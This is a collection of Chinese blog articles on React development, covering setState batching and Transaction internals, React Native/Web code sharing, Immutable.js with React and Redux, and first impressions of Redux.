	7月初, 基于 Webpack 的代码热替换开始在社区传播, 也是后来 Redux 的作者
https://gaearon.github.io/react-hot-loader/2014/07/23/integrating-jsx-...


	2015年4月底 Bruce Hauman 在 Clojure Eroupe 上发布 Figwheel 类似的时间调试功能
https://www.youtube.com/watch?v=j-kj2qwJa_E


	6月初 React Eroupe 上 Redux 发布, 开始做 React 的 Time Travelling Debugger
https://www.youtube.com/watch?v=xsSnOQynTHs


	刚才的这个 Cerebral, 大概上个月的事情, 也是基于 React 类似的功能
http://www.christianalfoni.com/todomvc/#/




好多年了 Bret Victor 展示的方法, 我们日常的开发当中还没用上

好在主体的功能, 随着 React 社区两年来各种事情, 好像也就一步之遥了...


 React 源码剖析系列 － 解密 setState

作者：undefined_segmentfault

来源： React 源码剖析系列 － 解密 setState



                    
this.setState() 方法应该是每一位使用 React 的同学最先熟悉的 API。然而，你真的了解 setState 么？先看看下面这个小问题，你能否正确回答。

引子

class Example extends React.Component {
  constructor() {
    super();
    this.state = {
      val: 0
    };
  }
  
  componentDidMount() {
    this.setState({val: this.state.val + 1});
    console.log(this.state.val);    // 第 1 次 log

    this.setState({val: this.state.val + 1});
    console.log(this.state.val);    // 第 2 次 log

    setTimeout(() => {
      this.setState({val: this.state.val + 1});
      console.log(this.state.val);  // 第 3 次 log

      this.setState({val: this.state.val + 1});
      console.log(this.state.val);  // 第 4 次 log
    }, 0);
  }

  render() {
    return null;
  }
};

问上述代码中 4 次 console.log 打印出来的 val 分别是多少？

不卖关子，先揭晓答案，4 次 log 的值分别是：0、0、2、3。

若结果和你心中的答案不完全相同，那下面的内容你可能会感兴趣。

同样的 setState 调用，为何表现和结果却大相径庭呢？让我们先看看 setState 到底干了什么。

setState 干了什么



上面这个流程图是一个简化的 setState 调用栈，注意其中核心的状态判断，在源码(ReactUpdates.js)中

function enqueueUpdate(component) {
  // ...

  if (!batchingStrategy.isBatchingUpdates) {
    batchingStrategy.batchedUpdates(enqueueUpdate, component);
    return;
  }

  dirtyComponents.push(component);
}

若 isBatchingUpdates 为 true，则把当前组件（即调用了 setState 的组件）放入 dirtyComponents 数组中；否则 batchUpdate 所有队列中的更新。先不管这个 batchingStrategy，看到这里大家应该已经大概猜出来了，文章一开始的例子中 4 次 setState 调用表现之所以不同，这里逻辑判断起了关键作用。

那么 batchingStrategy 究竟是何方神圣呢？其实它只是一个简单的对象，定义了一个 isBatchingUpdates 的布尔值，和一个 batchedUpdates 方法。下面是一段简化的定义代码：

var batchingStrategy = {
  isBatchingUpdates: false,

  batchedUpdates: function(callback, a, b, c, d, e) {
    // ...
    batchingStrategy.isBatchingUpdates = true;
    
    transaction.perform(callback, null, a, b, c, d, e);
  }
};

注意 batchingStrategy 中的 batchedUpdates 方法中，有一个 transaction.perform 调用。这就引出了本文要介绍的核心概念 —— Transaction（事务）。

初识 Transaction

熟悉 MySQL 的同学看到 Transaction 是否会心一笑？然而在 React 中 Transaction 的原理和行为和 MySQL 中并不完全相同，让我们从源码开始一步步开始了解。

在 Transaction 的源码中有一幅特别的 ASCII 图，形象的解释了 Transaction 的作用。

/*
 * <pre>
 *                       wrappers (injected at creation time)
 *                                      +        +
 *                                      |        |
 *                    +-----------------|--------|--------------+
 *                    |                 v        |              |
 *                    |      +---------------+   |              |
 *                    |   +--|    wrapper1   |---|----+         |
 *                    |   |  +---------------+   v    |         |
 *                    |   |          +-------------+  |         |
 *                    |   |     +----|   wrapper2  |--------+   |
 *                    |   |     |    +-------------+  |     |   |
 *                    |   |     |                     |     |   |
 *                    |   v     v                     v     v   | wrapper
 *                    | +---+ +---+   +---------+   +---+ +---+ | invariants
 * perform(anyMethod) | |   | |   |   |         |   |   | |   | | maintained
 * +----------------->|-|---|-|---|-->|anyMethod|---|---|-|---|-|-------->
 *                    | |   | |   |   |         |   |   | |   | |
 *                    | |   | |   |   |         |   |   | |   | |
 *                    | |   | |   |   |         |   |   | |   | |
 *                    | +---+ +---+   +---------+   +---+ +---+ |
 *                    |  initialize                    close    |
 *                    +-----------------------------------------+
 * </pre>
 */

简单地说，一个所谓的 Transaction 就是将需要执行的 method 使用 wrapper 封装起来，再通过 Transaction 提供的 perform 方法执行。而在 perform 之前，先执行所有 wrapper 中的 initialize 方法；perform 完成之后（即 method 执行后）再执行所有的 close 方法。一组 initialize 及 close 方法称为一个 wrapper，从上面的示例图中可以看出 Transaction 支持多个 wrapper 叠加。

具体到实现上，React 中的 Transaction 提供了一个 Mixin 方便其它模块实现自己需要的事务。而要使用 Transaction 的模块，除了需要把 Transaction 的 Mixin 混入自己的事务实现中外，还需要额外实现一个抽象的 getTransactionWrappers 接口。这个接口是 Transaction 用来获取所有需要封装的前置方法（initialize）和收尾方法（close）的，因此它需要返回一个数组的对象，每个对象分别有 key 为 initialize 和 close 的方法。

下面是一个简单使用 Transaction 的例子

var Transaction = require('./Transaction');

// 我们自己定义的 Transaction
var MyTransaction = function() {
  // do sth.
};

Object.assign(MyTransaction.prototype, Transaction.Mixin, {
  getTransactionWrappers: function() {
    return [{
      initialize: function() {
        console.log('before method perform');
      },
      close: function() {
        console.log('after method perform');
      }
    }];
  };
});

var transaction = new MyTransaction();
var testMethod = function() {
  console.log('test');
}
transaction.perform(testMethod);

// before method perform
// test
// after method perform

当然在实际代码中 React 还做了异常处理等工作，这里不详细展开。有兴趣的同学可以参考源码中 Transaction 实现。

说了这么多 Transaction，它到底是怎么导致上文所述 setState 的各种不同表现的呢？

解密 setState

那么 Transaction 跟 setState 的不同表现有什么关系呢？首先我们把 4 次 setState 简单归类，前两次属于一类，因为他们在同一次调用栈中执行；setTimeout 中的两次 setState 属于另一类，原因同上。让我们分别看看这两类 setState 的调用栈：



componentDidMout 中 setState 的调用栈



setTimeout 中 setState 的调用栈

很明显，在 componentDidMount 中直接调用的两次 setState，其调用栈更加复杂；而 setTimeout 中调用的两次 setState，调用栈则简单很多。让我们重点看看第一类 setState 的调用栈，有没有发现什么熟悉的身影？没错，就是 batchedUpdates 方法，原来早在 setState 调用前，已经处于 batchedUpdates 执行的 transaction 中！

那这次 batchedUpdate 方法，又是谁调用的呢？让我们往前再追溯一层，原来是 ReactMount.js 中的 _renderNewRootComponent 方法。也就是说，整个将 React 组件渲染到 DOM 中的过程就处于一个大的 Transaction 中。

接下来的解释就顺理成章了，因为在 componentDidMount 中调用 setState 时，batchingStrategy 的 isBatchingUpdates 已经被设为 true，所以两次 setState 的结果并没有立即生效，而是被放进了 dirtyComponents 中。这也解释了两次打印 this.state.val 都是 0 的原因，新的 state 还没有被应用到组件中。

再反观 setTimeout 中的两次 setState，因为没有前置的 batchedUpdate 调用，所以 batchingStrategy 的 isBatchingUpdates 标志位是 false，也就导致了新的 state 马上生效，没有走到 dirtyComponents 分支。也就是，setTimeout 中第一次 setState 时，this.state.val 为 1，而 setState 完成后打印时 this.state.val 变成了 2。第二次 setState 同理。

扩展阅读

在上文介绍 Transaction 时也提到了其在 React 源码中的多处应用，想必调试过 React 源码的同学应该能经常见到它的身影，像 initialize、perform、close、closeAll、notifyAll 等方法出现在调用栈中，都说明当前处于一个 Transaction 中。

既然 Transaction 这么有用，我们自己的代码中能使用 Transaction 吗？很可惜，答案是不能。不过针对文章一开始例子中 setTimeout 里的两次 setState 导致两次 render 的情况，React 偷偷给我们暴露了一个 batchedUpdates 方法，方便我们调用。

import ReactDom, { unstable_batchedUpdates } from 'react-dom';

unstable_batchedUpdates(() => {
  this.setState(val: this.state.val + 1);
  this.setState(val: this.state.val + 1);
});

当然因为这个不是公开的 API，后续存在废弃的风险，大家在业务系统里慎用哟！

注释


	test-react 文中测试代码已放在 Github 上，需要自己实验探索的同学可以 clone 下来自己断点调试。


	为了避免引入更多的概念，上文中所说到的 batchingStrategy 均指 ReactDefaultBatchingStrategy，该 strategy 在 React 初始化时由 ReactDefaultInjection 注入到 ReactUpdates 中作为默认的 strategy。在 server 渲染时，则会注入不同的 strategy，有兴趣的同学请自行探索。





 React-Native 与 React-Web 的融合
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关于


对于react-native在实际中的应用， facebook官方的说法是react-native是为多平台提供共同的开发方式，而不是说一份代码，多处使用。 然后一份代码能够多处使用还是很有意义的，我所了解到的已经在尝试做这件事情的：



	modularise-css-the-react-way

	react-style

	
native-css  



现阶段大家都是在摸索中，且react-native 还不够成熟，为此我也想通过一个实际的例子提前探究一下共享代码的可行性。


下面是我以SampleApp做的一个简单demo， 先奉献上截图：


web 版本：





react-native版本：





初步想法


组件


react-native基本上是View套上Text这样来布局，为了做web和native的兼容，我们得提供继承版本的View ，针对不同的平台返回不同做兼容，我们将提供：



	Share.View -> View  (reac-native = View , web = div)

	Share.P + Share.Span -> Text (Text在react-native中分为块级别和inline级别所以得用两个元素来区分)



样式


我们知道react-native的样式是css很小的一个子集，大概支持50种属性，为了做到web和native使用同样地样式，那么我的想法是：



	使用css文件来编写样式，通过编译的方式生产不同平台需要的样式

	对于web，使用auto-prefixel处理，生产web兼容的css代码

	对于react-native，生成对应的styles.js

	css的写法用OOCSS的方式



这样做的另外一个原因是，因为css是全集，react-native是子集，全集到子集可以通过删减来处理，但是如果想通过子集到全集就会很麻烦（react-style就是通过react-native来生成css）。 且这样做还有很多好处，例如我们可以支持react-native里边不支持的css写法，例如padding: a b c d; 这种写法很容易得到兼容。



  其实这里，无论react-native还是react-web都支持style={}这样的写法. 上面例子中的web截图其实是没有引用css的，但inline样式对于web来说并不是优选。




实现思路


首先大概整理一下我们需要解决的问题：



	如何区分web和native

	js如何对应不同的平台来编译，因为react-native使用的是自己的依赖管理packager

	css如何编译为js

	代码结构应该是怎样的



问题一 ： 如何区分web和native


react-native 里边会有window变量吗？我试了一下，是有的，那window变量里边不可能有location，document之类的吧， 借着这种想法，可用如下方法来区分native和web


javascript var isNative = !window.location;



问题二：如何对应不同平台打包


对于react-native，是通过packager来打包的，具体的实现和逻辑可以随时查看packager的readme文档。 那我们怎么将适用于native的代码打包成web的代码，首先想到的是browserify, webpack。 都是遵循commonJs规范，个人更喜欢前者， 用它来应该足以满足需求。


问题三： css如何编译为js


前面提到了native-css , 可以用它来帮助我们完成打包。


问题四：代码结构应该是怎样的


web和native的代码都写在同一个地方，如何做区分呢？ 这个问题当然最好就是不做区分，或者就像女生的衣服，期望是越少越好，但永远不可能木有（猥琐了：-】）。


我设想中的一个最简模型的目录结构，web和ios有不同的入口，web和ios有单独的目录， 组件共享， 如下：


├── compo.js            // 我们会使用到得公共组件
├── styles.css          // compo的样式文件
├── index.web.js        // web 入口
├── index.ios.js        // ios 入口
├── shared.js           // 做兼容的共享变量文件
├── ios                 // ios 目录
└── web                 // web 目录
    ├── index.html      // web 页面
    ├── index.web.js    // 打包过后的js
    └── react.js        // react.js依赖



好像很复杂的样子， 其实相对于原本的SampleApp，只是多了index.web.js , web目录, shared三者。 然后style通过style.css来描述。


具体实现


我们已经整理了具体的实现思路，下面是我就会直接吐出我的实现代码， 重点的地方都会在源码里边有注释


先看应用代码：


ios入口：index.ios.js


javascript    /**
     * Sample React Native App
     * https://github.com/facebook/react-native
     */
    'use strict';
    var React = require('react-native');
    var Compo = require('./compo');
    React.AppRegistry.registerComponent('ShareCodeProject', () =>  Compo);



web入口：index.web.js


javascript    /**
     * for web
     */
    var Compo = require('./compo');
    React.render(<Compo />, document.getElementById('App'));



样例组件：compo.js


javascript    // 依赖的公共库，通过它获取兼容的组件
    var Share = require('./shared');
    // styles是style.css build过后生成的style.js
    var styles = require('./styles');
    var React = Share.React;
    var {
      View,
      P,
      Span
    } = Share;

    var Compo = React.createClass({
      render: function() {
        return (
          <View style={styles.container}>
            <P style={styles.welcome}>
              Welcome to React Native!
            </P>
            <P style={styles.instructions}>
              To get started, edit index.ios.js
            </P>
            <P style={styles.instructions}>
              Press Cmd+R to reload,{'\n'}
              Cmd+Control+Z for dev menu
            </P>
          </View>
        );
      }
    });

    module.exports = Compo;



组件样式: style.css


css    /**
     * 大家可能发现了css的写法还是小驼峰，是的不是横杠，暂时我们还是以这种方式处理
     * native-css 目测不支持横杠，（自己重写native-css相对来说是比较容易的，完全可以做到css兼容到react-native的css子集）
     */
    .container {
        flex: 1;
        justifyContent: center;
        alignItems: center;
        backgroundColor: #F5FCFF;
    }

    .welcome {
        fontSize: 20;
        textAlign: center;
        margin: 10;
    }

    .instructions {
        textAlign: center;
        color: #333333;
        marginBottom: 5;
    }



index.html


html    <!DOCTYPE html>
    <html>
      <head>
        <title>Hello React!</title>
        <script src="./react.js"></script>
        <!-- No need for JSXTransformer! -->
      </head>
      <body>
        <div id="App"></div>
        <script src="./index.web.js"></script>
      </body>
    </html>



Share部分的处理


shared.js


javascript    var Share = {};
    var React = require('react-native');
    var isNative = !window.location;
    /**
     * 判断是web的时候，重新赋值React
     */
    if (window.React) {
        React = window.React;
    } 
    Share.React = React;

    /**
     * 做底层的兼容， 当然这里只是做了一个最简demo，具体实现的时候可能会对props做各种兼容处理
     */
    if (!isNative) {

        Share.View = React.createClass({
            render: function() {
                return <div {...this.props}/>
            }
        });

        Share.P = React.createClass({
            render: function() {
                return <p {...this.props}/>
            }
        });

        Share.Span = React.createClass({
            render: function() {
                return <span {...this.props}/>
            }
        });
    } else {
        // alert('isNative')
        Share.View = React.View;
        Share.P = React.Text;
        Share.Span = React.Text;
        Share.Text = React.Text;
    }

    module.exports = Share;



build打包程序


javascript    var fs = require('fs');
    var nativeCSS = require('native-css'),
    var cssObject = nativeCSS.convert('./styles.css');

    toStyleJs(cssObject, './styles.js');
    buildWebReact();

    /**
     * native-css获取到得是一个对象，需要将cssObject转化为js代码
     */
    function toStyleJs(cssObject, name) {
        console.log('build styles.js \n');
        var tab = '    ';
        var str = '';

        str += '/* build header */\n';
        str += 'var styles = {\n';

        for(var key in cssObject) {
            var rules = cssObject[key];
            str += tab + key + ': {\n';
            for(var attr in rules) {
                var rule = rules[attr];
                str += tab + tab + attr + ': ' + format(rule) + ',\n'
            }
            str += tab + '},\n' 
        }

        str += '};\n'
        str += 'module.exports = styles;\n'

        fs.writeFile(name, str)
        function format(rule) {
            if (!isNaN(rule - 0)) {
                return rule;
            }
            return '"' + rule + '"';
        }
    }

    /**
     * 构造web使用的react
     */
    function buildWebReact() {
        console.log('build web bundle');
        var browserify = require('browserify');
        var b = browserify();
        b.add('./index.web.js');

        // 添加es6支持
        b.transform('reactify', {'es6': true});

        // ignore掉react-native 
        b.ignore('react-native')
        var wstream = fs.createWriteStream('./web/index.web.js');
        b.bundle().pipe(wstream);
    }




也尝试一下由react-native 到react-web的兼容方案


问题



	flexbox的写法在react-native上面我们会发现， 不用在父元素上声明display: flex; 在web上必须要做这样的声明， 所以我们需要让设置了flex:*的元素的父元素display: flex; 。

	flexbox在android上是由很多bug的，所以必须要解决兼容性问题webkit-box  



解决方案


1. nested 的style写法


javascript    styles = StyleSheet.create({
        mod: {
            flexDirection: 'row',
            item: {
                flex: 1
            }
        }
    });



这样的写法有些像less，我们可以知道元素的层级关系， 这样我可以遍历这个对象，查找子元素有设置flex的，父元素加上display:flexbox。


2. 通过自定义元素


javascript var GridSystem = require('GridSystem');
 var {
    Row,
    Grid,
    Grid6,
    Grid4
 } = GridSystem;
 <Row ...>
    <Grid/>
    <Grid/>
 </Row>



通过标签的方式， 相当于给react-native或者react添加了一个网格系统，同时我们可以直接在Row上设置display:flex.


3. 遍历查找


完全同react-native原生的写法，直接在web中兼容，遍历所有有flex样式的节点，直接做兼容。


javascript    componentDidMount: function() {
        var $node = this.getDOMNode();
        var $parent = $node.parentNode;
        var $docfrag = document.createDocumentFragment();
        $docfrag.appendChild($node);

        var treeWalker = document.createTreeWalker($node, NodeFilter.SHOW_ELEMENT, { 
            acceptNode: function(node) { 
                return NodeFilter.FILTER_ACCEPT; 
            } 
        }, false);

        while(treeWalker.nextNode()) {
            var node = treeWalker.currentNode;
            if (node.style.flex) {
                flexChild(node);
                flexParent(node.parentNode);
            }
        };

        $parent.appendChild($docfrag);
    }

    function flexChild(node) {
        if (node.__flexchild__) {
            return;
        }
        node.__flexchild__ = true;
        var flexGrow = node.style.flexGrow;
        addStyle(node, `
            -webkit-box-flex: ${flexGrow};
            -webkit-flex: ${flexGrow};
            -ms-flex: ${flexGrow};
            flex: ${flexGrow};
        `);
        node.classList.add('mui-flex-cell');
    }

    function flexParent(node) {
        if (node.__flexparentd__) {
            return;
        }
        node.__flexparentd__ = true;
        node.classList.add('mui-flex');
    }



css    .mui-flex {
        display: -webkit-box!important;
        display: -webkit-flex!important;
        display: -ms-flexbox!important;
        display: flex!important;
        -webkit-flex-wrap: wrap;
        -ms-flex-wrap: wrap;
        flex-wrap: wrap;
        -webkit-box-orient: vertical;
        -webkit-box-direction: normal;
        -webkit-flex-direction: column;
        -ms-flex-direction: column;
        flex-direction: column;
    }

    .mui-flex-cell {
        -webkit-flex-basis: 0;
        -ms-flex-preferred-size: 0;
        flex-basis: 0;
        max-width: 100%;
        display: block;
        position: relative;
    }



总结


这个demo很简单，实际应用中应该会有很多地方的坑， 比如：



	模块中依赖只有native才有的组件

	Native模块的事件处理和web大不相同 

	现实环境中的模块更多，更复杂，如何做模块的管理



对于write once, run anywhere 这个观点.  相信不同的人会有不同的看法，但无论如何，如果兼容成本不大，这样的兼容技术方案对业务开发是有极大意义的。


ps0: 这里仅仅做可行性方案的分析，不代表我认同或不认同这种方案。

ps1: 大家如果有更好的方案，求教，求讨论。

ps2: 据说微博关注@sysu_学家不会怀孕


 Immutable 详解及 React 中实践

作者：Cam

来源： Immutable 详解及 React 中实践



                    


Shared mutable state is the root of all evil（共享的可变状态是万恶之源）
-- Pete Hunt



有人说 Immutable 可以给 React 应用带来数十倍的提升，也有人说 Immutable 的引入是近期 JavaScript 中伟大的发明，因为同期 React 太火，它的光芒被掩盖了。这些至少说明 Immutable 是很有价值的，下面我们来一探究竟。

JavaScript 中的对象一般是可变的（Mutable），因为使用了引用赋值，新的对象简单的引用了原始对象，改变新的对象将影响到原始对象。如 foo={a: 1}; bar=foo; bar.a=2 你会发现此时 foo.a 也被改成了 2。虽然这样做可以节约内存，但当应用复杂后，这就造成了非常大的隐患，Mutable 带来的优点变得得不偿失。为了解决这个问题，一般的做法是使用 shallowCopy（浅拷贝）或 deepCopy（深拷贝）来避免被修改，但这样做造成了 CPU 和内存的浪费。

Immutable 可以很好地解决这些问题。

什么是 Immutable Data

Immutable  Data 就是一旦创建，就不能再被更改的数据。对 Immutable 对象的任何修改或添加删除操作都会返回一个新的 Immutable 对象。Immutable 实现的原理是 Persistent Data Structure（持久化数据结构），也就是使用旧数据创建新数据时，要保证旧数据同时可用且不变。同时为了避免 deepCopy 把所有节点都复制一遍带来的性能损耗，Immutable 使用了 Structural Sharing（结构共享），即如果对象树中一个节点发生变化，只修改这个节点和受它影响的父节点，其它节点则进行共享。请看下面动画：



目前流行的 Immutable 库有两个：

immutable.js

Facebook 工程师 Lee Byron 花费 3 年时间打造，与 React 同期出现，但没有被默认放到 React 工具集里（React 提供了简化的 Helper）。它内部实现了一套完整的 Persistent Data Structure，还有很多易用的数据类型。像 Collection、List、Map、Set、Record、Seq。有非常全面的map、filter、groupBy、reduce`find`函数式操作方法。同时 API 也尽量与 Object 或 Array 类似。

其中有 3 种最重要的数据结构说明一下：（Java 程序员应该最熟悉了）


	Map：键值对集合，对应于 Object，ES6 也有专门的 Map 对象


	List：有序可重复的列表，对应于 Array


	Set：无序且不可重复的列表




seamless-immutable

与 Immutable.js 学院派的风格不同，seamless-immutable 并没有实现完整的 Persistent Data Structure，而是使用 Object.defineProperty（因此只能在 IE9 及以上使用）扩展了 JavaScript 的 Array 和 Object 对象来实现，只支持 Array 和 Object 两种数据类型，API 基于与 Array 和 Object 操持不变。代码库非常小，压缩后下载只有 2K。而 Immutable.js 压缩后下载有 16K。

下面上代码来感受一下两者的不同：

// 原来的写法
let foo = {a: {b: 1}};
let bar = foo;
bar.a.b = 2;
console.log(foo.a.b);  // 打印 2
console.log(foo === bar);  //  打印 true

// 使用 immutable.js 后
import Immutable from 'immutable';
foo = Immutable.fromJS({a: {b: 1}});
bar = foo.setIn(['a', 'b'], 2);   // 使用 setIn 赋值
console.log(foo.getIn(['a', 'b']));  // 使用 getIn 取值，打印 1
console.log(foo === bar);  //  打印 false

// 使用  seamless-immutable.js 后
import SImmutable from 'seamless-immutable';
foo = SImmutable({a: {b: 1}})
bar = foo.merge({a: { b: 2}})   // 使用 merge 赋值
console.log(foo.a.b);  // 像原生 Object 一样取值，打印 1
console.log(foo === bar);  //  打印 false

Immutable 优点

1. Immutable 降低了 Mutable 带来的复杂度

可变（Mutable）数据耦合了 Time 和 Value 的概念，造成了数据很难被回溯。

比如下面一段代码：

function touchAndLog(touchFn) {
  let data = { key: 'value' };
  touchFn(data);
  console.log(data.key); // 猜猜会打印什么？
}

在不查看 touchFn 的代码的情况下，因为不确定它对 data 做了什么，你是不可能知道会打印什么（这不是废话吗）。但如果 data 是 Immutable 的呢，你可以很肯定的知道打印的是 value。

2. 节省内存

Immutable.js 使用了 Structure Sharing 会尽量复用内存，甚至以前使用的对象也可以再次被复用。没有被引用的对象会被垃圾回收。

import { Map} from 'immutable';
let a = Map({
  select: 'users',
  filter: Map({ name: 'Cam' })
})
let b = a.set('select', 'people');

a === b; // false
a.get('filter') === b.get('filter'); // true

上面 a 和 b 共享了没有变化的 filter 节点。

3. Undo/Redo，Copy/Paste，甚至时间旅行这些功能做起来小菜一碟

因为每次数据都是不一样的，只要把这些数据放到一个数组里储存起来，想回退到哪里就拿出对应数据即可，很容易开发出撤销重做这种功能。

后面我会提供 Flux 做 Undo 的示例。

4. 并发安全

传统的并发非常难做，因为要处理各种数据不一致问题，因此『聪明人』发明了各种锁来解决。但使用了 Immutable 之后，数据天生是不可变的，并发锁就不需要了。

然而现在并没什么卵用，因为 JavaScript 还是单线程运行的啊。但未来可能会加入，提前解决未来的问题不也挺好吗？

5. 拥抱函数式编程

Immutable 本身就是函数式编程中的概念，纯函数式编程比面向对象更适用于前端开发。因为只要输入一致，输出必然一致，这样开发的组件更易于调试和组装。

像 ClojureScript，Elm 等函数式编程语言中的数据类型天生都是 Immutable 的，这也是为什么 ClojureScript 基于 React 的框架 --- Om 性能比 React 还要好的原因。

Immutable 缺点

1. 需要学习新的 API

No Comments

2. 增加了资源文件大小

No Comments

3. 容易与原生对象混淆

这点是我们使用 Immutable.js 过程中遇到最大的问题。写代码要做思维上的转变。

虽然 Immutable.js 尽量尝试把 API 设计的原生对象类似，有的时候还是很难区别到底是 Immutable 对象还是原生对象，容易混淆操作。

Immutable 中的 Map 和 List 虽对应原生 Object 和 Array，但操作非常不同，比如你要用 map.get('key') 而不是 map.key，array.get(0) 而不是 array[0]。另外 Immutable 每次修改都会返回新对象，也很容易忘记赋值。

当使用外部库的时候，一般需要使用原生对象，也很容易忘记转换。

下面给出一些办法来避免类似问题发生：


	使用 Flow 或 TypeScript 这类有静态类型检查的工具


	约定变量命名规则：如所有 Immutable 类型对象以 $$ 开头。


	使用 Immutable.fromJS 而不是 Immutable.Map 或 Immutable.List 来创建对象，这样可以避免 Immutable 和原生对象间的混用。




更多认识

Immutable.is

两个 immutable 对象可以使用 === 来比较，这样是直接比较内存地址，性能最好。但即使两个对象的值是一样的，也会返回 false：

let map1 = Immutable.Map({a:1, b:1, c:1});
let map2 = Immutable.Map({a:1, b:1, c:1});
map1 === map2;             // false

为了直接比较对象的值，immutable.js 提供了 Immutable.is 来做『值比较』，结果如下：

Immutable.is(map1, map2);  // true

Immutable.is 比较的是两个对象的 hashCode 或 valueOf（对于 JavaScript 对象）。由于 immutable 内部使用了 Trie 数据结构来存储，只要两个对象的 hashCode 相等，值就是一样的。这样的算法避免了深度遍历比较，性能非常好。

后面会使用 Immutable.is 来减少 React 重复渲染，提高性能。

另外，还有 mori、cortex 等，因为类似就不再介绍。

与 Object.freeze、const 区别

ES6 中新加入的 Object.freeze 和 const 都可以达到防止对象被篡改的功能，但它们是 shallowCopy 的。对象层级一深就要特殊处理了。

Cursor 的概念

这个 Cursor 和数据库中的游标是完全不同的概念。

由于 Immutable 数据一般嵌套非常深，为了便于访问深层数据，Cursor 提供了可以直接访问这个深层数据的引用。

import Immutable from 'immutable';
import Cursor from 'immutable/contrib/cursor';

let data = Immutable.fromJS({ a: { b: { c: 1 } } });
// 让 cursor 指向 { c: 1 }
let cursor = Cursor.from(data, ['a', 'b'], newData => {
  // 当 cursor 或其子 cursor 执行 update 时调用
  console.log(newData);
});

cursor.get('c'); // 1
cursor = cursor.update('c', x => x + 1);
cursor.get('c'); // 2

实践

与 React 搭配使用，Pure Render

熟悉 React 的都知道，React 做性能优化时有一个避免重复渲染的大招，就是使用 shouldComponentUpdate()，但它默认返回 true，即始终会执行 render() 方法，然后做 Virtual DOM 比较，并得出是否需要做真实 DOM 更新，这里往往会带来很多无必要的渲染并成为性能瓶颈。

当然我们也可以在 shouldComponentUpdate() 中使用使用 deepCopy 和 deepCompare 来避免无必要的 render()，但 deepCopy 和 deepCompare  一般都是非常耗性能的。

Immutable 则提供了简洁高效的判断数据是否变化的方法，只需 === 和 is 比较就能知道是否需要执行 render()，而这个操作几乎 0 成本，所以可以极大提高性能。修改后的 shouldComponentUpdate 是这样的：

import { is } from 'immutable';
shouldComponentUpdate: (nextProps, nextState) => {
  return !(this.props === nextProps || is(this.props, nextProps)) ||
         !(this.state === nextState || is(this.state, nextState));
}

使用 Immutable 后，如下图，当红色节点的 state 变化后，不会再渲染树中的所有节点，而是只渲染图中绿色的部分：



你也可以借助 React.addons.PureRenderMixin 或支持 class 语法的 pure-render-decorator 来实现。

setState 的一个技巧

React 建议把 this.state 当作 Immutable 的，因此修改前需要做一个 deepCopy，显得麻烦：

import '_' from 'lodash';

const Component = React.createClass({
  getInitialState() {
    return {
      data: { times: 0 }
    }
  },
  handleAdd() {
    let data = _.cloneDeep(this.state.data);
    data.times = data.times + 1;
    this.setState({ data: data });
    // 如果上面不做 cloneDeep，下面打印的结果会是已经加 1 后的值。
    console.log(this.state.data.times);
  }
}

使用 Immutable 后：

  getInitialState() {
    return {
      data: Map({ times: 0 })
    }
  },
  handleAdd() {
    this.setState({ data: this.state.data.update('times', v => v + 1) });
    // 这时的 times 并不会改变
    console.log(this.state.data.get('times'));
  }

上面的 handleAdd 可以简写成：

  handleAdd() {
    this.setState(({data}) => ({
      data: data.update('times', v => v + 1) })
    });
  }

与 Flux 搭配使用

由于 Flux 并没有限定 Store 中数据的类型，使用 Immutable 非常简单。

现在是实现一个类似带有添加和撤销功能的 Store：

import { Map, OrderedMap } from 'immutable';
let todos = OrderedMap();
let history = [];  // 普通数组，存放每次操作后产生的数据

let TodoStore = createStore({
  getAll() { return todos; }
});

Dispatcher.register(action => {
  if (action.actionType === 'create') {
    let id = createGUID();
    history.push(todos);  // 记录当前操作前的数据，便于撤销
    todos = todos.set(id, Map({
      id: id,
      complete: false,
      text: action.text.trim()
    }));
    TodoStore.emitChange();
  } else if (action.actionType === 'undo') {
    // 这里是撤销功能实现，
    // 只需从 history 数组中取前一次 todos 即可
    if (history.length > 0) {
      todos = history.pop();
    }
    TodoStore.emitChange();
  }
});

与 Redux 搭配使用

Redux 是目前流行的 Flux 衍生库。它简化了 Flux 中多个 Store 的概念，只有一个 Store，数据操作通过 Reducer 中实现；同时它提供更简洁和清晰的单向数据流（View -> Action -> Middleware -> Reducer），也更易于开发同构应用。目前已经在我们项目中大规模使用。

由于 Redux 中内置的 combineReducers  和 reducer 中的 initialState 都为原生的 Object 对象，所以不能和 Immutable 原生搭配使用。

幸运的是，Redux 并不排斥使用 Immutable，可以自己重写 combineReducers 或使用 redux-immutablejs 来提供支持。

上面我们提到 Cursor 可以方便检索和 update 层级比较深的数据，但因为 Redux 中已经有了 select 来做检索，Action 来更新数据，因此 Cursor 在这里就没有用武之地了。

总结

Immutable 可以给应用带来极大的性能提升，但是否使用还要看项目情况。由于侵入性较强，新项目引入比较容易，老项目迁移需要评估迁移。对于一些提供给外部使用的公共组件，最好不要把 Immutable 对象直接暴露在对外接口中。

如果 JS 原生 Immutable 类型会不会太美，被称为 React API 终结者的 Sebastian Markbåge 有一个这样的提案，能否通过现在还不确定。不过可以肯定的是 Immutable 会被越来越多的项目使用。

资源


	Lee Byron - Immutable Data and React


	Immutable Data Structures and JavaScript




原文发于知乎，会持续更新，更多内容请关注我们的专栏




 Redux 初步尝试

作者：题叶

来源： Redux 初步尝试



                    
写文章的时候还是 1.0.x, 现在已经 3.x 了.
虽然主体 API 没改, 但是细节的 API 增加了很多, 甚至更简单的方案.





关注 Redux 很久了, 一直在等稳定版, 终于稳定版出来了
不过真的运行起来, 比我之前估计的复杂度高太多了
这边可以看我用 CirruScript 写的代码... 虽然效果是不怎么样
https://github.com/jiyinyiyong/redux-in-cirru

大概梳理下这两天遇到的东西, 为后面做准备

关于

关于 Redux 我遇到的中文社区已经有两篇文章, 还行
https://ruby-china.org/topics/26944
http://segmentfault.com/a/1190000003033033
另外中文文档也有同学在翻译, 速度飞快啊:
https://github.com/camsong/redux-in-chinese
其他大量关于 Redux 的资源, 在列表能找到, 热度很高的
https://github.com/xgrommx/awesome-redux

要开始写 Redux 的话, 其实文档是分布在三个仓库当中的:
https://github.com/gaearon/redux
https://github.com/gaearon/redux-devtools
https://github.com/rackt/react-redux
其中 redux-devtools 是调试工具, 也是一个 React 组件
这个组件需要在开发环境判断渲染, 同时避免发布到线上去
而 react-redux 则是对于 React 的绑定, 包含了一些工具函数

我了解得不大具体, 其中 react-devtools 文档并不齐全
甚至需要去源码当中看具体的例子才能把 Demo 跑起来:
https://github.com/gaearon/redux-devtools/blob/master/examples/counter/containers/App.js
而 Redux 具体的写法, 也少不了要去看源码的 example 才算可以
https://github.com/rackt/redux/tree/master/examples


combineStore 和绑定 props 要注意

